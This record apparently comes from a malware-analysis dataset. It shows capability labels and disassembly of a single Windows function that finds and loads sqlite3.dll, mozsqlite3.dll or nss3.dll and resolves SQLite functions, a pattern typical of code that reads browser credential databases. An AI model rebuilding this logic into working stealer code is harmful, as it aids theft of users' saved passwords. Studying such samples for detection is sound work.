Function at 0x40b4ec
Capabilities:
Get common file path
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push ebx
xor ebx, ebx
cmp dword [edi + 0x24], ebx
push esi
jne 0x40b740
mov esi, 0x117
push esi
lea eax, [ebp - 0x117]
push ebx
push eax
mov byte [ebp - 0x118], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
call fcn.00403ba3
cmp byte [ebp - 0x118], bl
je 0x40b694
push esi
lea eax, [ebp - 0x22f]
push ebx
push eax
mov byte [ebp - 0x230], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x230]
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x118]
push str._sqlite3.dll
push eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x118]
push eax
call fcn.00404212
add esp, 0x14
test eax, eax
jne 0x40b5aa
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x118]
push 0x40d0a4
push eax
call sub.msvcrt.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
call fcn.00404212
test eax, eax
pop ecx
jne 0x40b5e2
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x118]
push str._nss3.dll
push eax
call sub.msvcrt.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp eax, ebx
mov dword [edi + 0x24], eax
jne 0x40b6c1
call fcn.004043b0
cmp dword [eax + 4], 5
jbe 0x40b61a
push 8
push ebx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
jmp 0x40b6be
mov esi, 0x104
push esi
lea eax, [ebp - 0x337]
push ebx
push eax
mov byte [ebp - 0x338], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x43f]
push ebx
push eax
mov byte [ebp - 0x440], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x338]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
lea eax, [ebp - 0x118]
push eax
lea esi, [ebp - 0x440]
call fcn.0040435f
mov eax, esi
mov esi, dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
pop ecx
push eax
call esi
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [edi + 0x24], eax
lea eax, [ebp - 0x338]
push eax
call esi
jmp 0x40b6c1
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push str.sqlite3.dll
call esi
cmp eax, ebx
mov dword [edi + 0x24], eax
jne 0x40b6b2
push str.mozsqlite3.dll
call esi
mov dword [edi + 0x24], eax
cmp dword [edi + 0x24], ebx
jne 0x40b6c1
push str.nss3.dll
call esi
mov dword [edi + 0x24], eax
mov eax, dword [edi + 0x24]
cmp eax, ebx
je 0x40b747
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.sqlite3_open
push eax
call esi
push str.sqlite3_prepare
push dword [edi + 0x24]
mov dword [edi], eax
call esi
push str.sqlite3_step
push dword [edi + 0x24]
mov dword [edi + 4], eax
call esi
push str.sqlite3_column_text
push dword [edi + 0x24]
mov dword [edi + 8], eax
call esi
push str.sqlite3_column_int
push dword [edi + 0x24]
mov dword [edi + 0xc], eax
call esi
push str.sqlite3_column_int64
push dword [edi + 0x24]
mov dword [edi + 0x10], eax
call esi
push str.sqlite3_finalize
push dword [edi + 0x24]
mov dword [edi + 0x14], eax
call esi
push str.sqlite3_close
push dword [edi + 0x24]
mov dword [edi + 0x18], eax
call esi
push str.sqlite3_exec
push dword [edi + 0x24]
mov dword [edi + 0x1c], eax
call esi
mov dword [edi + 0x20], eax
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x40b743